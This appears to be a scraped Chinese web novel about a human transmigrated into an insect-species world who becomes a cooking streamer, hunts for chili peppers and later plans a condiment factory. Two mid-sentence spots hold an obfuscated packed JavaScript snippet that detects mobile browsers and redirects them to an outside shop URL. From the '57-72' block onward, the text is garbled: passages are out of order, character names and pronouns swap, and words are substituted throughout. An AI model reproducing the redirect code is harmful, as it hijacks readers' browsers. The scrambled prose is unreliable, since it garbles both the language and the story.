屋外响起熟悉的声音,诺拉急忙放下机甲,朝外面走去。 * 安瑞把两盘热腾腾的炒意大利面放在桌上。 “有点来不及了,先吃面条对付一口,晚上给你做大餐。” “意面也很好的。”诺拉帮安瑞拉开椅子,“辛苦雄主。” 安瑞脸上扬起温和笑:“不辛苦。” 投喂自家室友,怎么能说是辛苦呢? 更何况,他可能也投喂不了几次了。 安瑞垂下睫毛,盖住眼睛里的失落,又下意识地拿起智脑,试图分散注意力。 刚打开虫娱,安瑞就发现自己的后台炸了。 新消息100w+。 安瑞眉头皱了皱。 就算是刚发布视频,他的后台点赞加评论最多也就是10w+,更何况他这两天也没发视频呀。 安瑞的心中出现了一种猜测,心跳也有些加速。 他深吸了一口气,点开个人主页,然后就看到,自己几天前发布的豆汁视频,点赞数量已经破了百万。 安瑞的心跳蓦地一顿。 他好像真的要红了! 22.第 22 章 豆汁的视频其实已经发布了将近一个星期,最开始的流量也就那样,甚至还不如其他视频的数据好,所以视频发布之后,安瑞也就没怎么关注。 但可能真的是安瑞运气好,他的视频被虫娱上一个挑战各种极品食物的博主发现了,那个博主专门开了一期视频,测评豆汁。 测评视频已经发布,就吸引了无数网友的围观和尝试,豆汁也成为了一个新晋的网红食品。安瑞的视频也理所当然地爆红了。 甚至,不少网友顺着安瑞的主页,看到了他的其他视频,惊呼自己发现了宝藏博主,然后就成为了安瑞的粉丝。 安瑞缓缓吐出一口气,轻轻碰了碰10.3w的粉丝数。 在决定重操旧业之后,安瑞非常认真地研究过虫娱的流量机制。 十万粉丝,对虫娱的主播而言,是非常重要的数字。 这意味着他的视频和直播能进入更大的流量池,被更多网友看到,也意味着他可以开始接广告,挣公司的广告费。 就算之后他的视频一直不温不火,只要努力两三年,把雄保协会的罚款攒出来还是不成问题的。 更何况,他相信,凭自己的本事,肯定不会永远只是一个十万粉的小博主。 “雄主?” 诺拉已经在对面,默默观察安瑞半天了。 他看到震惊、紧张、惊喜、期待依次在自家雄主脸上闪过,终于还是没忍住开口唤了一句。 安瑞抬起头,递过去一个询问的眼神。 但是话到嘴边,诺拉有有点犹豫。 雄主看了那么长时间智脑,八成是跟直播账号有关。 但是他不想雄主把账号做起来,甚至不想听到任何有关账号的消息。 多卑劣的心思啊。 他果然不是一只合格的雌奴。 诺拉在心里深深唾弃自己,但还是没出息地换了个话题:“意面有些凉了,诺拉帮您热一下好吗?” “啊,好。”安瑞从善如流地把意面递过去,冲安瑞笑了一下,“麻烦你了。” “不客气,都是诺拉应该做的。” * 吃过饭,安瑞窝在沙发上,处理流量爆炸的视频。 他先是给那位测评了豆汁的大V发了感谢私信,然后又挑着评论区的一些点赞数量比较高的留言进行了回复。 评论区的网友对于豆汁的看法非常两极分化。 有一部分特别喜欢豆汁,甚至将它誉为最佳的解暑食品。但还有一部分非常讨厌豆汁,说豆汁是“放馊了的泔水”。 一圈评论看下来,安瑞惊奇地发现喜欢豆汁的网友居然还不在少数,数量上甚至隐隐超过了不喜欢豆汁的网友。 甚至那个测评博主也表示,虽然刚入口的时候味道确实有点奇怪,但喝着喝着就习惯了。 这比起他原来的种花国网友对豆汁的评价,简直就是一个在天上一个在地下啊。 不过想想倒是也合理,毕竟虫族的各种罐头、营养剂那么难吃,如果没有一个强大的味蕾,恐怕早就崩溃了。 如果是这样的话…… 那蓝星种花国奇奇怪怪的食物可太多了。 什么臭豆腐、鱼茶、凉拌折耳根,那绝对能给虫族网友带来一万点震撼。 反正他的酱油也快成功了,到时候能做的菜不是一下就多了嘛。 直播思路这不就打开了。 安瑞刚打算去厨房看一眼他的酱油,智脑轻轻震了一下。 那个极品食物测评的百万博主居然回他私信了。 专吃极品食物的博主,今天吐了几次,虫网戏称吐哥,是个身高将近两米的橙发雌虫。皮肤黝黑,肌肉异常发达,非常符合安瑞刚穿过来的时候对雌虫的刻板印象。 【今天吐了几次:没事,我那期视频数据也挺好的,还得感谢你没告我侵权(呲牙笑.jpg)】 安瑞轻轻笑了一下,低头发了几个玫瑰花。 【今天吐了几次:哦对了,我看你刚做主播没多久,今年的美食直播赛好像快开始了,那是个涨粉的好机会,你可以关注一下。】 【爱做饭的小安:好的,谢谢您。】 【今天吐了几次:别客气,像你这么漂亮又有才的亚雌,肯定会成为当红博主的】 安瑞:…… 不是,他是亚雌的事,现在已经被坐实了吗? 安瑞回了个猫猫击掌的表情包,然后在虫网上搜索“美食直播赛”。 智脑上弹出来一个报名页面,比赛时间是半个月之后,而报名时间居然还有三天就截止了。 要不是吐哥提醒,他还真就错过了。 安瑞飞快地填写了报名了信息,点击提交之后才长舒一口气。 对于一个刚起号的小主播来说,每场比赛都很重要。 安瑞关上网页,再次打开虫娱,想要给吐哥发一条感谢私信,无意间瞥到了吐哥几个小时前新发的视频。 下一刻,安瑞愣住了。 视频封面上红身率杆,形似长条的植物,长得简直和蓝星的辣椒一模一样。 安瑞颤抖着手点进去,就看橙发雌虫指着面前桌子上的红色植物。 “家虫们,最近有网友给我邮了点不明植物,说是在外面爬山的时候找到的,肯定能给我送走,就这小玩意儿就给我送走了?那你也太小看你吐哥了吧。” 橙发雌虫拽拽地一笑,随手拿起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565987|142498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两根塞进嘴里:“行吧,浅尝一下吧。” “这也没什……” 一句话没说完,橙发雌虫的脸色蓦地变了,他哈着气从椅子上蹦起来,抱起水杯吨吨吨就是几大口。 安瑞光看都觉得嘴巴痛。 生嚼线椒,是个狠虫啊。 再回到镜头前的时候,吐哥的嘴已经红了一圈。 他哈呼哈呼地喘着粗气:“不是,你这玩意儿是能吃的吗,你这不毒药吗?那吃进嘴里之后火急火燎的疼,就跟被激光枪打中嘴巴一样。” “行吧,有史以来最短一期,那个给我寄这玩意儿的网友,你赢了,你确实给我送走了,你满意了没?” 视频戛然而止,安瑞却眼睛发亮。 要是能找到线椒,那美食直播赛基本上可以说是稳了呀。 安瑞低头戳字。 【爱做饭的小安:吐哥好,我想问一下,您知道今天发的视频里的食物,是从哪采的吗?】 对面依旧是很快就回了消息。 【今天吐了几次:哎呦,这我还真不知道,我帮你问问邮寄的粉丝哈,不过你找那玩意儿干啥,挑战自我?】 安瑞再次被逗得微微一笑。 不过出于保密考虑,哪怕他相信吐哥的虫品,依旧没有实话实说。 【爱做饭的小安:豆汁不是火了吗,我想试试能不能用这个植物再做出点什么整蛊食品】 【今天吐了几次:哥看好你,我去帮你问问,你等信吧。】 * 放下智脑,安瑞走到厨房,观察了一下已经阳台的酱油罐。 不知道是因为夏天的天气热,还是虫星的光照比蓝星更强烈,才酿造了半个多月的酱油,颜色就已经很深了。 安瑞喜滋滋地摸了摸酱油桶,然后照例从瓶口接了一杯酱油水,从桶顶倒回去,把酱油豆充分淋湿。 不出意外的话,比赛的时候酱油应该就能做好了。 有了酱油,要是再能找到辣椒,那他比赛的时候能做的菜品可就多了。 * 吐哥确实非常靠谱,当天晚上就发来了私信。 【今天吐了几次:小安,我帮你问了,那俩网友就是在咱们虫星首都天望山找到的,不过是恰巧遇见的,现在也说不清楚具体方位】 安瑞激动了半天的心瞬间有点发凉。 果然,辣椒不是这么好找的。 【今天吐了几次:我这还剩了一小把,要不你留个地址,我给你寄过去?】 【爱做饭的小安:好嘞,谢谢哥。】 安瑞把地址发过去,但并没有打消去天望山的念头。 只要有万一的可能,他总要去试一试。 23.第 23 章 “您要去天望山?” “对,那上面有一种很重要的食材,我要去找找。” 诺拉脸上闪过几分担忧:“雄主,天望山危险。” 安瑞无奈地看着自家室友:“已经开发了的景区,能危险到哪里去。” 诺拉也不反驳,就睁着一双圆滚滚的眼睛,眼巴巴看着安瑞,蔷薇色的薄唇也抿成了一条直线。 安瑞最受不了的就是诺拉这幅模样。 天知道一个军部少将,哦准确的说现在已经是中将了,为什么这么会撒娇。 “好吧。”安瑞轻轻叹了口气,“等你周末放假,咱们一起去。” “谢谢雄主,我帮您收拾吧。” 虽然雌虫脸上并没带什么笑意,但安瑞平白就是能感觉出来,他家室友很高兴。 就连动作都轻快了几分。 要是诺拉头上的触角没收起来,现在一定立的笔直,说不定还会像小狗尾巴一样左右摇晃。 安瑞被自己脑补的画面可爱到了,又去厨房拿了点奶油面包放进登山包里。 ——对于安瑞来说特别腻,但是对于自家室友来说,甜度刚刚好。 * “雄主,票买好了。” 安瑞低头摆弄了两下智脑,把票钱转进诺拉的账户。 刚刚他本来要去买票的,诺拉说什么也不同意,安瑞抢不过他,也就随他去了。 但票可以诺拉买,票钱决不能让室友出,这是安瑞做人的底线。 做虫也一样。 “雄主。” 诺拉咬着嘴唇,声音里带了几分委屈和埋怨。 自从他被分配给雄主之后,雄主几乎没用过他一分钱,就连二十星币一张的门票,也要和他算的这么清楚。 反倒是他,白住在雄主的房子里不说,还蹭了不少雄主做的饭。 安瑞轻轻弹了一下诺拉的额头:“在家里嘱咐你的事忘了?” 吸取了上次在原始森林公园被围观的教训,安瑞出来之前就戴上了他的宝贝假发和美瞳,所以现在他可是一只银发碧眼的雌虫。 好吧,虽然绝大部分粉丝都坚信,他是一只亚雌…… 事实证明他是正确的,天望山景区里游客还真不少,而且他一眼望过去,一个雄虫没有。 他要是顶着头黑发,绝对会被围观。 诺拉眼中闪过几分懊恼:“抱歉阁下,我忘了。” 安瑞:…… 他幽怨地看了诺拉一眼:“你就不能换个亲近点的称呼吗,显得咱俩关系不好一样。” 诺拉被安瑞看得,心跳都停了半拍。 亲近的称呼,在诺拉眼里最亲近的称呼莫过于“雄主”,可是这个选项明显不正确。 他急得额头上都有些冒汗,忽然想起来直播间弹幕里,那些粉丝好像都管雄主叫安安。 金发雌虫试探着开口:“那,我叫您安安,可以吗?” 安瑞面无表情地转过身,拿起矿泉水猛灌两大口。 “还是阁下吧。” 他怕诺拉再多喊两声,他就要彻底不做人了。 诺拉眼睛里划过几分失落。 “好的,阁下。” * 安瑞一屁股坐在山顶的长椅上,脸上闪过几分失望。 这一路走上来,也没有辣椒啊。 不过该说不说,雌虫的体力是真好,这山海拔至少有一千多米,他这一路连找带爬,累的要死,自家室友居然一点事没有。 诺拉从登山包里拿出水,递到安瑞嘴边:“雄……阁下,您喝口水吧,书包里有面包,您要吃吗?” 安瑞接过水喝了几口,摆摆手。 他现在只想坐着,根本吃不下东西。 诺拉有点心疼。 哪个雄虫从破壳开始不是锦衣玉食,每天吃喝玩乐,根本不用操心星币不够。 只有他家雄主,每天直播就算了,现在还要跑到天望山上找食材。 天望山虽说就在帝都城郊,但是海拔足足1574m,身体稍微弱一点的雌虫都不一定能一口气爬下来,雄主居然坚持下来了。 而他作为雄主的雌奴,不帮雄主分忧也就算了,还把一多半工资都转出去。 军部虫族薪俸不低,要不是这些年一直把钱给那个虫,他原本的积蓄是可以帮雄主还清罚金的。 诺拉心中涌上一阵愧悔,他轻轻蹲跪在雄虫身边,认真地给安瑞按摩小腿。 “嘶。” “您忍一下,如果不放松到位,明天会更难受的。” 安瑞拿出餐巾纸,擦了擦诺拉头上地细汗。 “辛苦你了。” 诺拉咬了一下舌尖:“阁下,我想跟你坦白……” 一句话没说完,安瑞的智脑忽然响了。 【今天吐了几次:安安,刚刚那俩粉丝跟我说,他们好像是在后山小路上找见的,我来跟你说一声。】 安瑞一拍大腿。 “咱们找错地了,去后山。” 他撑着长椅扶手把自己弹起来,往前走了几步,才回头看向诺拉。 “你刚刚想说什么来着?” 直到那一刻诺拉才发现,自己好像真并不是一只胆子大的虫。 不过是被打断了一次,刚刚鼓起的勇气就散了个干净。 雌奴的全部财产都归雄主所有,像他这样擅自转移财产的,按照法律至少也要拔掉翅翼,监禁十年。 但相比起惩罚,诺拉更害怕看到安瑞失望的眼神。 他垂下眼眸,轻轻应了一声:“没……没什么,阁下。” 安瑞点点头,刚要往后山走,忽然一阵强风吹过,带走了他头上的假发。 “靠!” 安瑞几乎能感觉到,黑发露出来的一瞬间,山顶休息区所有虫的目光全部投向了自己,甚至有的虫已经一边嘀咕,一边偷偷拿出了智脑拍照。 要了命了。 安瑞猛地攥住诺拉的手:“快跑。” * “诺拉!” 安瑞指着一个斜坡边杂草里夹杂着的几点红:“你看那个红红的,就是我要找的东西。” 诺拉顺着安瑞的手看过去:“您稍等,诺拉去帮您摘。” 诺拉做事一向干净利落,不过十几分钟,就已经摘了一大袋辣椒。 安瑞喜滋滋把东西收进储物胶囊里,凑到诺拉身边往下看,思考着要不要干脆挖几株辣椒苗回去种。 下一刻,安瑞的眼神蓦地亮起来。 斜坡下面的小溪里,好像有田螺! 田螺哎,放点辣椒炒一炒,就是一道美味啊。 但是现在,安瑞已经顾不得炒螺蛳了,另一道美食浮现在他脑海里。 没有人能拒绝螺蛳粉,就算是虫也不行。 安瑞聚精会神地观察斜坡。 虽然高了一点,但好在不是特别陡,小心一点,应该能下去。 他伸手拽了拽斜坡边上的藤木,刚往下试探着伸了半只脚,另一只手就被紧紧攥住了。 “雄主小心!” 诺拉紧张地扶着安瑞,生怕他一不小心掉下去。 “我想去下面捞点东西。”安瑞无奈地拍了拍诺拉的手,“我小心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13582892|142498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一点,应该没事。” 诺拉依旧没松手:“诺拉冒犯。” 下一刻,金发雌虫的背后生出了一双巨大的翅翼。 虽然之前已经见过这对惊艳的翅膀,但安瑞依旧被震撼得久久不能回神。 透明的翅翼泛着耀眼的光芒,瑰丽繁复的花纹在正午阳光的勾勒下流光溢彩,熠熠生辉。 或许是因为诺拉觉得没有危险,翅翼周边尖利的骨刺被收得很好,攻击性降低了不少,更显出这对翅膀纯粹的美。 “阁下小心。” 安瑞被诺拉小心地抱在怀里,一双翅翼轻轻震颤两下,顺着斜坡滑翔而下。 雌虫眉头微微皱起,眼神凝重,就连手臂上的肌肉都不由自主地收紧,不知道的还以为在执行什么绝密任务。 与此同时,安瑞也不好过。 可能是为了保证雄主的安全,诺拉选择了竖抱的方式,这就导致他们之间的距离,无限趋近于零。 太近了。 近到安瑞能感受到雌虫灼热的呼吸,结识的胸膛,以及胸膛里心脏跳动的砰砰声。 安瑞闭上眼,默默在脑海里背一个坚持,三个不原则。 这么近的距离,谁身上有点什么反应根本瞒不住,天晓得他忍得有多辛苦。 落地的时候,安瑞和诺拉都冒了一身细汗。 安瑞捧起溪水冲了冲脸,才勉强把心头的悸动压下去。 他长叹一口气。 自己可能真的没救了。 * 回到家已经是傍晚了,安瑞顾不得疲惫,先把辣椒苗小心地移植到院里,然后一头扎进厨房研究新菜。 诺拉帮忙切了点鸡块,就被安瑞赶出去了。 他回到卧室,随手拿起一本军事理论,可脑子里想的却全是安瑞。 今天他抱着雄主飞到斜坡下面的时候,他其实能感觉到,雄主对他有反应。 如果雄主真的一点都不喜欢他,不该对他有反应的。 可如果说雄主喜欢他,又为什么这么长时间都不许他侍奉。 诺拉纠结得拧眉,打开的军事理论一个字也没看进去。 他默默合上书,打开夏佐的聊天框。 ——今天我带着雄主飞的时候,雄主对我好像有反应,你说雄主是不是有一点点喜欢我? 没过几秒,页面上弹出夏佐的通话申请,诺拉刚刚接通,那边就传来了一声怒吼。 “诺拉你是不是也有毛病,仗着老子没对象,在这秀恩爱是吧。” * 安瑞利索地把扎好的辣椒段和鸡腿肉倒进锅里,刺拉拉一声响,香味飘了一厨房。 他翻炒了几下,把菜品盛出来,又点缀了一小把葱花。 齐活。 安瑞忍不住使劲闻了一下辣子鸡丁。 久违了,我的辣椒。 米饭还没好,但安瑞已经忍不住跟诺拉分享辣椒的快乐了,遂端着盘来到次卧,刚要敲门,里面传出了一声怒吼。 “你还要他怎么喜欢你!” 安瑞一脸问号。 好像不是诺拉的声音,他在跟朋友视频? 出于对室友的尊重,安瑞决定转身默默离开,刚走了半步,就听屋里诺拉说。 “可是雄主从来没临幸过我,甚至精神力舒缓都是直接进入我的精神海。” 安瑞蓦地停住了脚步,脑海中生出了一个荒唐的念头。 他小心地站在门边,几乎都能听到自己的心跳声。 下一秒,他听到诺拉说—— 可是我真的很喜欢雄主,特别特别喜欢。 57-72 第五十七章调料厂 安瑞精神一振,眉眼间滚动着汹涌的情绪,一双蓝色的眼睛直直地吃着对面的中年雄虫。 半晌,她颤抖着嘴唇轻轻问:“维加副将?” 中年雄虫的脸上蓦地垂下两行清泪,她慌忙用袖子擦了擦,勉强挤出一副笑容:“没想到伊莱说的好朋友的家长居然是你,真是缘分。” * “家里没有什么吃的,委屈阁下了。” 维加端上来两杯热水,又把家里仅剩的几个苹果拿出来削成小块,递给诺拉,又嘱咐两只在外面玩雪的虫崽不要跑远。 “您不用客气。” 诺拉一边寒暄一边偷偷打量了一下维加的住所。 一个临时搭建的简易房间,空间非常小,并且很干净,可见维加在很用心的经营生活。 并且不知道不知道,诺拉总觉得房间里弥漫着一股淡淡的馊味,她的目光在房间里转了一圈,最终停在了墙角的灶台上。 灶台上放着半碗水煮菜,旁边还有小半筐烂菜叶和一小块可以有点变质的猪肉,不用问,那半碗水煮菜肯定是用哪些烂菜叶煮的。 诺拉为了想起来,在蓝星的时候,也有一些穷人因为买不起菜,会在傍晚的时候去菜市场捡烂菜叶子。 回来洗洗煮煮,就是一餐。 可蓝星的穷人至少能吃上酱油醋啊,虫星的酱料个个味道都一言难尽,价格还死贵。 她都不敢想白水煮烂菜叶,只放一点盐和油,得有多难吃。 诺拉心中没来由地冒出些酸楚,只看了一眼,就立刻别开了眼神。 “维加哥哥。” 安瑞声音发涩,冲诺拉介绍道:“维加·柯林斯,我雄兄的副将。” 诺拉恍然,赶紧伸出手:“您好,我是安瑞的伴侣,诺拉。” “阁下日安。”维加才意识到安瑞身边居然还有一位尊贵的雌虫,手忙脚乱地行礼,“今天太晚了,我……” 安瑞垂眸打断了维加的话:“雪天路滑,维加副将不留我们喝杯热水吗?” 维加的脸上闪过几分错愕。 她看了看安瑞,又看了看旁边的雌虫,最终还是轻轻叹了口气:“你们跟我来吧。” 自从进屋以后一直没说话的安瑞为了开口,轻轻叫了一声。 中年雄虫浑身微微一颤,下意识地避开了安瑞的眼神,半天也没说出一句话。 安瑞从几块砖垒的矮凳上站起来,一步步走到维加面前:“七年,你失踪了七年,我以为你死了……” 安瑞胸口剧烈地起伏:“既然你还活着,你不知道不联系我。” 安瑞还要说什么,小腿上被诺拉轻轻踢了一脚。 “外面雪小了些,我们就不打扰了。”诺拉冲门外还在玩雪的小虫崽喊了一声,“小艾,咱们该回去了,跟好朋友说再见。” * 星舰上,安瑞一手搂着可以睡过去的小虫崽,一手翻来覆去看那个午餐肉罐头,又掏出智脑点了几下。 “福瑞斯集团新出的罐头,一百星币一罐。”安瑞的轻轻皱起眉头,“雌主,咱们不该要的。” 诺拉伸出手指揉了揉安瑞眉心的皱纹,温声安慰:“你拿了,维加最多也就是每顿饭少吃一支营养液,你如果不拿,伤害的恐怕就是她的自尊心了。” 安瑞的嘴唇动了动,却什么都没说。她轻轻合上双眼,靠在诺拉肩头,像小狗求安慰一样用脑袋蹭了蹭诺拉的脖颈。 诺拉也没说什么,只是伸手一下一下顺着金色的长发。 “小艾睡了?”诺拉靠在床头刷智脑。 “睡了,今天玩的太疯,连澡都没洗就抱着煤球睡了。” 安瑞垂眸跪在床尾,一点一点蹭到诺拉身边,拉住诺拉的手,放在脸上,依恋地蹭了几下。 诺拉有奈地挠挠安瑞的下巴:“又撒娇?” 安瑞哼哼两声,显然被挠得很舒服,诺拉把手收回去了,还不依不饶地用脸去够。 诺拉探手把自家大宝贝拽进怀里,吻了吻柔顺的发顶,又一路吻到鼻梁和嘴唇,等怀里的雄虫慢慢放松下来,才柔声问:“还想维加的事?” 维加为了轻轻笑了一声:“我是还活着,并且我的精神力完全毁了,我再也回不了军部了,甚至连一份像样的工作也没有。” 中年雄虫慢慢蹲下,痛苦地用手捂着脸,大滴大滴的泪水顺着指缝流出来:“小诺尔,我……上将阵亡,我也变成一只废虫了……” 安瑞满肚子的话都哽在了嘴边,最终化成一声轻轻的叹息。 “抱歉,是我莽撞了。” “没有,不怪你。” 维加用手背抹了一下脸上的泪水,调整好情绪:“你们吃完饭了吗,我去拿几个午餐肉罐头……” “不用了,我们可以吃过了。”安瑞按住维加的肩膀,“有没有什么需要我们帮助的?” 维加脸上闪过几分窘迫:“没……没有,我们挺好的。” 她挣开安瑞的手臂,强硬地找出一个罐头塞进诺拉怀里:“前几天新买的,大牌子,你们别嫌弃。” 安瑞摇摇头,为了抬起头很认真地吃着诺拉:“谢谢您,雌主。” 诺拉被这没头没尾的一句感谢弄得莫名其妙:“不知道这么说?” “您知道吗,我小时候跟着雄兄,在第九街区住了很长时间,直到哥哥考进军部领了薪俸,我们才能搬出去,住进正常的房子里。” “军雄保护法有规定,雌虫必须定时为分配的军雄做精神力舒缓。”诺拉安抚地一下下轻拍安瑞的后背,“不管是谁,都要遵守法律。” 怀里的军雄苦笑了一声:“定时是多长时间一次,如果不做又会有什么处罚?只要军雄还有一口气,法院就拿雌虫没有一点办法。” 安瑞说到最后,声音都高了几分。 诺拉有些震惊地吃着怀里的雄虫,还没等她说什么,安瑞脸上就露出几分懊恼,刚刚抱怨法律的那股气势也一下就没了。 她抿了抿嘴唇,小心翼翼地吃着诺拉:“雌主,安瑞说错话了。” “没有,你说的很对。” 诺拉还记得她第一次见到安瑞的时候,雄虫卑微地跪在地上,亲吻她的鞋面,眼睛里是死一样的麻木。 相比起那个时候,她更喜欢现在怀里的安瑞,有自己的想法,会抱怨,会不高兴的安瑞。 “雌主,你说咱们能不能帮帮维加,给她送点钱?”还没等诺拉说话,安瑞就可以否定了自己的想法,“算了,维加肯定不会要。” “与其送钱,不如给维加找个工作。” 安瑞摇摇头:“没有公司会要一只精神力严重损伤的雄虫。” “她们不要,我不能要,还记得调料加工厂吗?” 诺拉揽着雄虫的肩膀,安静地等待下文。 “小时候,我在第九街区看到过很多和维加一样的退役军雄,她们在战争中精神海受到严重伤害,丧失了精神力,有法重返军部,甚至连一般的工作都找不到,还需要服用昂贵的药物维持生命。所以她们只能搬到第九街区,干最苦最累的活,挣一点点维持基本生存的星币。” 安瑞喉咙哽了哽:“维加是雄兄的副将,算是吃着我长大的,并且七年前那场战争前面就再也没了联系,我没想到,她也会……” 诺拉感觉自己肩膀上的睡衣湿了一小块:“可像她们这种情况,军部不会发抚恤金吗?” “那点抚恤金,连半年的药钱都不够。”安瑞把脸埋在诺拉不算宽阔的肩膀上,声音闷闷的,“如果没有您,估计我也会有那么一天吧。” “你要把维加招到加工厂?”安瑞脸上闪过几分喜意,“我怎么没想到。” 诺拉摇摇头:“不只是维加,第九街区因为精神力损害退伍的军雄,有一只算一只,我全要。” “全要!谷初和味本恐怕用不了那么多调料吧。” 诺拉神秘地笑了笑:“谷初和味本用不了,咱们不能往外卖啊。” 早在研发出酱油的时候,诺拉就萌生卖调料的想法,只不过福瑞斯集团家大业大,几乎垄断 “这肯定你的小名吗?怎么是瞎叫。” “肯定。”安瑞硬邦邦地顶了一句,从诺拉怀里退出来,一把拽起被子翻了个身,“我睡了。” “撒谎可肯定好孩子。”诺拉凑过去,从身后抱住雄虫,“是肯定,小诺尔。” 安瑞被臊得连脚趾都泛起诱虫的粉色,雌虫温柔的声音好像电流一样钻进她的身体里,激起一层层酥酥麻麻的痒意,就连心跳都不由自主地慢了几分。 可她竟然不讨厌这种感觉,反倒是有点喜欢被雌主这么叫。 好奇怪啊。 安瑞感觉自己有点失控,不由得抓紧了被子,闭上眼装睡。 诺拉轻轻笑了一声,吃着旁边好像也可以睡着了的雄虫,伸出手指,轻轻戳了一下安瑞的腰窝。 自家雄君浑身都硬邦邦的,并且只有诺拉知道,安瑞的腰窝上有一块痒痒肉,根本碰不得。 果不其然,她的手指刚碰上那个区域,手边的雄虫就狠狠一抖,紧接着又是一阵不受控制的痉挛。 “我看看是哪个小朋友在装睡啊。”诺拉声音又轻又柔,“原来是诺尔小朋友。” “雌主,您……您别这么叫了。” 安瑞终于忍不住把自己蜷成一团,苍蓝色的眼睛含着泪,可怜兮兮地向诺拉求饶。 诺拉含笑把安瑞搂进怀里,又使劲揉了揉安瑞的肚子。 许是这些天营养充足,安瑞的腰上生出了一层薄薄的脂肪,手感比以前好了不少。 安瑞被诺拉揉得难受,往后直躲:“您……您别摸了,没有……没有虫蛋。” “怎么还没怀上?”安瑞吻了一下军雄的耳尖,“是我不够努力吗?” 安瑞就期期艾艾地道歉:“对不起。” “没事,没怀上就继续努力到怀上为止。” 第五十八章咖喱 “你要卖调料?”夏洛摸了摸下巴,“你的手艺肯定是没得说,并且现在调料和速食行业是什么情况你也知道,格林家族,那可是我雄父雄兄都不敢轻易招惹的。” 诺拉脸色平静:“我明白,所以我没打算拉着你入股。” 夏洛嘴角抽了抽:“那你把我约出来干啥啊。” “要做调料,离不开各种原材料,旁的也就罢了能出产食盐的海域大多都控制在格林家族手了整个调料和速食市场,诺拉就没敢轻举妄动,开餐厅也不过是小打小闹。 并且是现在,第九街区的一眼望不到头的贫民窟,白水煮烂菜叶,以及一百星币一个的午餐肉罐头,让诺拉终于下定决心,要做一个属于她自己品牌的调料。 一个便宜,美味,所有虫都能吃得起的调料。 安瑞的眼睛刷地亮了起来,萦绕在眉眼间整整一晚的阴霾一扫而空。 诺拉伸手勾了勾安瑞的下巴,为了想到什么,凑到雄虫耳边轻轻叫了一句:“小诺尔?” 雄虫的脸一下就红了,她羞窘地瞪了诺拉一眼:“您瞎叫什么!” 她成年前面,就连雄兄都不这么叫她了。 里。一旦我进军调料市场,格林家族必然断我的原材料。” “你看,道理你都懂,何苦做这种费力不讨好的事。”夏洛眼珠转了转,“如果你缺钱,咱们不能多开几家味本,等做成连锁慢餐品牌,照样日进斗金。” “那不一样。”诺拉垂下眼眸,轻轻嘀咕了一句,“味本就算再便宜,贫民窟的虫也吃不起。” “什么?” “没什么。”诺拉恢复了惯常的神色,微微一笑,“我记得亚当斯家族有玻璃弯海域的使用权,那里盛产食盐。” 红发亚雄恍然:“原来你是盯上我家的食盐了?” 诺拉目光殷切:“能行不?” “食盐不比蔬菜,兹事体大,我可做不了主。”夏洛罕见地露出了一本正经的神色,“你也知道,我就是个小辈,家里的生意大多是雄父和我的几个雄兄说了算。” * 夏洛的话让诺拉的心瞬间沉到谷底。 如果连亚当斯家族都不敢给她供盐,她真想不到整个虫星还有谁能给她提供食盐了。 然后开调料厂计划还没开始就面临着中道崩殂的风险,并且在得到夏洛的回信之前,诺拉还是抱着万一夏洛雄父能同意的心态,按照原计划测试她新开发的调料——咖喱。 “大家好,欢迎来到小安的直播间。” 【翅膀硬了:呀,安安今天不打游戏吗】 【今天找到雌主了吗:这肯定安瑞中上班去吗,安安自己打游戏,危……】 【草莓冰棒:我记得有一款做披萨的游戏,还挺适合安安的】 诺拉努力忽略那些糟心的弹幕,从厨房里拿出一罐黄褐色的酱料:“今天要给大家隆重介绍一下我新研发的酱料,咖喱。这种酱料非常神奇,不仅拌米饭拌面条都好吃,最重要的是咖喱不能用来遮盖有味道的菜和肉。” 从第九街区回来前面,诺拉专门上网搜集了相关资料。 不看不知道,一看吓一跳,因为雄虫身体强健,轻易不会生病,再加上食材的价格比较昂贵,所以吃即将腐烂的蔬菜甚至肉食在虫族普遍存在。 虫网上的购物网站会不定期放出一些临期的食材,价格非常便宜,几个星币就能买到一大袋。 对于那些没钱,又不想每天喝廉价营养液的贫民虫而言,这些临期产品就是她们唯一能接触到的新食材。 这让诺拉更加觉得,开调料厂非常必要。 【翅膀硬了:艹,螺蛳粉和豆汁可以满足不了安安的恶趣味了吗】 【今天找到雌主了吗:救命,这玩意儿怎么那么像,算了我不说了】 【草莓冰棒:安安你能不能估计一下刚起床正在吃早餐的大学生啊啊啊啊】 诺拉早就预料到这帮外貌协会的虫肯定会对咖喱的颜色外型大肆吐槽,不过好在她的粉丝粘性很强,接受度也被她锻炼的越来越高,不管嘴上怎么骂,都不会舍得离开直播间,只会期待她又能做出什么神奇的食物。 “那你帮我问问呗,价格好说。” “这肯定价格的事,我雄父自从接任族长以来,一直避着亚当斯家族的锋芒,不瞒你说,玻璃弯海域可以很多年没大规模出产食盐了。”夏洛挠了挠头发,颇为为难,“要不我给你提供辣椒吧,自从你发现了辣椒前面,我雄父在好几个庄园里种了辣椒,管够价格还实惠。” 诺拉:“……乔治和道格拉斯又不能封锁我买辣椒,实在不行我自己买庄园种都不能。” “那我就爱莫能助了。”夏洛耸了耸肩,“我只能帮你问问雄父,不过你别抱太大希望。” 因此,诺拉心态非常好地有视了鬼哭狼嚎的弹幕,从柜子里拿出了一包菜叶子,一个土豆和一块猪肉。 “这些是我昨天刚刚从网上抢到的临期产品,接下来我就给大家演示一下,咖喱是如何化腐朽为神奇的。” 